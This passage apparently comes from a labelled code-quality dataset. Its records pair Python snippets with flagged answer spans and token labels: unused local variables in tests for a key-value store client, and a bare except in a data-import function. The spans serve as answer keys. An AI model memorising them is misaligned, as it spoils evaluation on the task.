\n self.client.delete('test_hgetall')\n dct = {\n 'a':\"AA\",\n 'b':\"BB\",\n 'c':\"CC\",\n 'd':\"DD\"\n }\n a = self.client.multi_hset('test_hgetall', **dct)\n assert_equals(a,4)\n a = self.client.hgetall('test_hgetall')\n assert_dict_equal(a,dct)\n b = self.client.delete('test_hgetall')\n d = self.client.hclear('test_hgetall')\n assert_true(d)\n self.client.delete('test_hgetall')", "metadata": "root.TestClient.test_hgetall", "header": "['class', 'TestClient', '(', 'object', ')', ':', '___EOS___']", "index": 348 }, { "content": " def test_zset(self):\n zset_1 = {\n 'a': 30,\n 'b': 20,\n 'c': 100,\n 'd': 1,\n 'e': 64,\n 'f': -3,\n 'g': 0\n }\n self.client.zclear('zset_1')\n self.client.delete('zset_1')\n a = self.client.multi_zset('zset_1', **zset_1)\n assert_equals(a, len(zset_1))\n b = self.client.zcount('zset_1', 20, 70)\n assert_equals(b, 3)\n c = self.client.zcount('zset_1', 0, 100)\n assert_equals(c, 6)\n d = self.client.zcount('zset_1', 2, 3)\n assert_equals(d, 0)\n\n b = self.client.zsum('zset_1', 20, 70)\n assert_equals(b, 114)\n c = self.client.zsum('zset_1', 0, 100)\n assert_equals(c, 215)\n d = self.client.zsum('zset_1', 2, 3)\n assert_equals(d, 0)\n\n b = self.client.zavg('zset_1', 20, 70)\n assert_equals(b, 38.0)\n c = self.client.zavg('zset_1', 0, 100)\n assert_equals(round(abs(c-215.0/6),4),0)\n d = self.client.zavg('zset_1', 2, 3)\n assert_true(math.isnan(float('nan')))\n\n b = self.client.zremrangebyrank('zset_1', 0, 2)\n assert_equals(b, 3)\n b = self.client.zremrangebyrank('zset_1', 1, 2)\n assert_equals(b, 2)\n\n a = self.client.multi_zset('zset_1', **zset_1)\n b = self.client.zremrangebyscore('zset_1', 20, 70)\n assert_equals(b, 3)\n b = self.client.zremrangebyscore('zset_1', 0, 100)\n assert_equals(b, 3)\n \n self.client.zclear('zset_1')\n self.client.delete('zset_1')", "metadata": "root.TestClient.test_zset", "header": "['class', 'TestClient', '(', 'object', ')', ':', '___EOS___']", "index": 579 } ]
[ { "span": "c ", "start_line": 134, "start_column": 8, "end_line": 134, "end_column": 9 }, { "span": "c ", "start_line": 150, "start_column": 8, "end_line": 150, "end_column": 9 }, { "span": "b ", "start_line": 314, "start_column": 8, "end_line": 314, "end_column": 9 }, { "span": "b ", "start_line": 361, "start_column": 8, "end_line": 361, "end_column": 9 }, { "span": "d ", "start_line": 611, "start_column": 8, "end_line": 611, "end_column": 9 }, { "span": "a ", "start_line": 619, "start_column": 8, "end_line": 619, "end_column": 9 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "raises_", "(_", "Value", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "incr_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "self_", "._", "client_", "._", "delete_", "(_", "'", "incr", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "set_", "(_", "'", "incr", "0", "'_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'", "incr", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "a_", ",_", "'", "10", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "incr_", "(_", "'", "incr", "0", "'_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "a_", ",_", "12_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "incr_", "(_", "'", "incr", "0", "'_", ",_", "-_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "a_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'", "incr", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "int_", "(_", "b_", ")_", ",_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "delete_", "(_", "'", "incr", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "self_", "._", "client_", "._", "incr_", "(_", "'", "incr", "0", "'_", ",_", "'", "abc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "raises_", "(_", "Value", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "dec", "r_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "self_", "._", "client_", "._", "delete_", "(_", "'", "dec", "r", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "set_", "(_", "'", "dec", "r", "0", "'_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'", "dec", "r", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "a_", ",_", "'", "10", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "dec", "r_", "(_", "'", "dec", "r", "0", "'_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "a_", ",_", "7_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'", "dec", "r", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "int_", "(_", "b_", ")_", ",_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "delete_", "(_", "'", "dec", "r", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "self_", "._", "client_", "._", "dec", "r_", "(_", "'", "dec", "r", "0", "'_", ",_", "-_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "hd", "el_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "self_", "._", "client_", "._", "hse", "t_", "(_", "'", "test\\u", "hd", "el", "'_", ",_", "'", "key", "a", "'_", ",_", "'", "abc", "123", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "hse", "t_", "(_", "'", "test\\u", "hd", "el", "'_", ",_", "'", "keyb", "'_", ",_", "'", "def", "456", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "self_", "._", "client_", "._", "hex", "ists", "_", "(_", "'", "test\\u", "hd", "el", "'_", ",_", "'", "key", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "self_", "._", "client_", "._", "hex", "ists", "_", "(_", "'", "test\\u", "hd", "el", "'_", ",_", "'", "keyb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "hex", "ists", "_", "(_", "'", "test\\u", "hd", "el", "'_", ",_", "'", "keyc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "false_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "hd", "el_", "(_", "'", "test\\u", "hd", "el", "'_", ",_", "'", "key", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "hd", "el_", "(_", "'", "test\\u", "hd", "el", "'_", ",_", "'", "keyb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "hex", "ists", "_", "(_", "'", "test\\u", "hd", "el", "'_", ",_", "'", "keyb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "false_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "self_", "._", "client_", "._", "hge", "t_", "(_", "'", "test\\u", "hd", "el", "'_", ",_", "'", "key", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "is", "\\u", "none_", "(_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "hge", "t_", "(_", "'", "test\\u", "hd", "el", "'_", ",_", "'", "keyb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "is", "\\u", "none_", "(_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "d", " ", "=", " ", "self", ".", "client", ".", "hc", "lea", "r", "('", "test\\u", "hd", "el", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "assert", "\\u", "fal", "se", "(", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "hge", "tall", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "client_", "._", "hc", "lea", "r_", "(_", "'", "test\\u", "hge", "tall", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "client_", "._", "delete_", "(_", "'", "test\\u", "hge", "tall", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dct_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "a", "'_", ":_", "\"", "AA", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "b", "'_", ":_", "\"", "BB", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "c", "'_", ":_", "\"", "CC", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "d", "'_", ":_", "\"", "DD", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "multi", "\\u", "hse", "t_", "(_", "'", "test\\u", "hge", "tall", "'_", ",_", "**_", "dct_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "a_", ",_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "hge", "tall", "_", "(_", "'", "test\\u", "hge", "tall", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "dict", "\\u", "equal_", "(_", "a_", ",_", "dct_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "delete_", "(_", "'", "test\\u", "hge", "tall", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "self_", "._", "client_", "._", "hc", "lea", "r_", "(_", "'", "test\\u", "hge", "tall", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "client_", "._", "delete_", "(_", "'", "test\\u", "hge", "tall", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "zs", "et_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "zs", "et", "\\u", "1_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "a", "'_", ":_", "30_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "b", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "c", "'_", ":_", "100_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "d", "'_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "e", "'_", ":_", "64_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "f", "'_", ":_", "-_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "g", "'_", ":_", "0_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "client_", "._", "zc", "lea", "r_", "(_", "'", "zs", "et", "\\u", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "client_", "._", "delete_", "(_", "'", "zs", "et", "\\u", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "multi", "\\u", "zs", "et_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "**_", "zs", "et", "\\u", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "a_", ",_", "len_", "(_", "zs", "et", "\\u", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "zc", "ount_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "20_", ",_", "70_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "b_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "self_", "._", "client_", "._", "zc", "ount_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "0_", ",_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "c_", ",_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "self_", "._", "client_", "._", "zc", "ount_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "2_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "d_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "zs", "um_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "20_", ",_", "70_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "b_", ",_", "114_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "self_", "._", "client_", "._", "zs", "um_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "0_", ",_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "c_", ",_", "215_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "self_", "._", "client_", "._", "zs", "um_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "2_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "d_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "za", "vg_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "20_", ",_", "70_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "b_", ",_", "38.", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "self_", "._", "client_", "._", "za", "vg_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "0_", ",_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "round_", "(_", "abs_", "(_", "c_", "-_", "215", ".0_", "/_", "6_", ")_", ",_", "4_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "self_", "._", "client_", "._", "za", "vg_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "2_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "true_", "(_", "math_", "._", "isnan_", "(_", "float_", "(_", "'", "nan", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "zr", "emr", "ange", "by", "rank_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "0_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "b_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "zr", "emr", "ange", "by", "rank_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "1_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "b_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "self_", "._", "client_", "._", "multi", "\\u", "zs", "et_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "**_", "zs", "et", "\\u", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "zr", "emr", "ange", "bys", "core_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "20_", ",_", "70_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "b_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "client_", "._", "zr", "emr", "ange", "bys", "core_", "(_", "'", "zs", "et", "\\u", "1", "'_", ",_", "0_", ",_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equals_", "(_", "b_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "zc", "lea", "r_", "(_", "'", "zs", "et", "\\u", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "client_", "._", "delete_", "(_", "'", "zs", "et", "\\u", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
sirrice/dbtruck/dbtruck/dbtruck.py
[ { "content": "def import_datafiles(fnames, new, tablename, errfile, exportmethodsklass, parser=None, **kwargs):\n \"\"\"\n Parse \n\n Args:\n fnames: file names of files to parse and import\n new: drop table(s) before importing? \n tablename: prefix of table to import into\n errfile:\n exportmethodsklass: static class containing export methods\n \"\"\"\n _log.info(\"kwargs: %s\", kwargs)\n\n iterfs = file_iterators(fnames, parser=parser, **kwargs)\n\n new_errfile = False\n if not errfile:\n errfile = file('/dev/null', 'a')\n new_errfile = True\n\n try:\n for idx, iterf in enumerate(iterfs):\n try:\n exportmethods = exportmethodsklass(tablename, errfile, **kwargs)\n\n newtable = new and idx == 0\n exportmethods.setup_table(iterf.types, iterf.header, iterf.add_id_col, newtable)\n import_iterator(iterf, exportmethods)\n\n idx += 1 # this is so failed tables can be reused\n except Exception as e:\n _log.warn(traceback.format_exc())\n\n if new_errfile:\n errfile.close()\n except:\n _log.warn(traceback.format_exc())", "metadata": "root.import_datafiles", "header": "['module', '___EOS___']", "index": 38 } ]
[ { "span": "except:", "start_line": 73, "start_column": 2, "end_line": 73, "end_column": 9 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "import", "\\u", "datafile", "s_", "(_", "fnames_", ",_", "new_", ",_", "tablename_", ",_", "err", "file_", ",_", "export", "method", "skl", "ass_", ",_", "parser_", "=_", "None_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", "Pars", "e", " ", "\\", "10", ";", "\\", "10", ";", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "fname", "s", ":", " ", "file", " ", "names", " ", "of", " ", "files", " ", "to", " ", "parse", " ", "and", " ", "import", "\\", "10", ";", " ", " ", " ", " ", "new", ":", " ", "drop", " ", "table", "(", "s", ")", " ", "bef", "ore", " ", "import", "ing", "?", " ", "\\", "10", ";", " ", " ", " ", " ", "tablename", ":", " ", "prefix", " ", "of", " ", "table", " ", "to", " ", "import", " ", "int", "o", "\\", "10", ";", " ", " ", " ", " ", "err", "file", ":", "\\", "10", ";", " ", " ", " ", " ", "export", "method", "skl", "ass", ":", " ", "static", " ", "class", " ", "contain", "ing", " ", "export", " ", "method", "s", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "log_", "._", "info_", "(_", "\"", "kwarg", "s", ":", " ", "%", "s", "\"_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "iter", "fs_", "=_", "file", "\\u", "iterators", "_", "(_", "fnames_", ",_", "parser_", "=_", "parser_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "err", "file_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "err", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err", "file_", "=_", "file_", "(_", "'/", "dev", "/", "null", "'_", ",_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "err", "file_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "idx_", ",_", "iter", "f_", "in_", "enumerate_", "(_", "iter", "fs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "export", "methods_", "=_", "export", "method", "skl", "ass_", "(_", "tablename_", ",_", "err", "file_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "newt", "able_", "=_", "new_", "and_", "idx_", "==_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "export", "methods_", "._", "setup", "\\u", "table_", "(_", "iter", "f_", "._", "types_", ",_", "iter", "f_", "._", "header_", ",_", "iter", "f_", "._", "add", "\\u", "id", "\\u", "col_", ",_", "newt", "able_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import", "\\u", "iterator_", "(_", "iter", "f_", ",_", "export", "methods_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "idx_", "+=_", "1_", "#", " ", "this", " ", "is", " ", "so", " ", "fail", "ed", " ", "tables", " ", "can", " ", "be", " ", "reus", "ed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "log_", "._", "warn_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "new", "\\u", "err", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "log_", "._", "warn_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
